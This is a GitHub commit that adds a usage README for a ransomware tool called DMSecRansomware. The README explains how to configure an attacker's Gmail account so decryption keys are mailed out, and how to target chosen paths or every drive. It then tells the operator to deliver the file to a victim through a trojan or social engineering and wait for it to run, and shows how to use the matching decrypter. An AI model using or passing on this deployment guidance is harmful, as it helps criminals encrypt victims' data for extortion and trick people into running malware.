-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
49a0c61
commit 299fc7f
Showing
1 changed file
with
31 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
# How to use DMSecRansomware | ||
|
||
#### **Author**: [Dhrumil Mistry](https://github.com/dmdhrumilmistry) | ||
|
||
## Encrypting data | ||
- Turn on 2FA in attacker's gmail account. | ||
- Create app password | ||
- Update `dmsec_ransomware.py` with email and app password to login to your gmail account. This is used to receive key to decrypt the files. | ||
|
||
```python | ||
encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword') | ||
``` | ||
- Specify path which is to be encrypted. | ||
- If all the drives are to be decrypted do not pass PATHS to the DMSECEncrypter | ||
|
||
```python | ||
encrypter = DMSECEncrypter(gmail='yourgmailid', passwd='yourapppassword') | ||
``` | ||
- Create a trojan or use social engineering and send file to the victim. | ||
- Wait for victim to execute the trojan. | ||
|
||
|
||
## Decrypting Data | ||
- Use `decrypter.py` to decrypt the encrypted files. | ||
- Edit paths to be decrypted in `decrypter.py` file. If all the drives are to be decrypted do not pass PATHS to DMSECDecrypter | ||
|
||
```python | ||
encrypter = DMSECDecrypter(KEY) | ||
``` | ||
- Use the key which was received on mail to decrypt the data | ||
|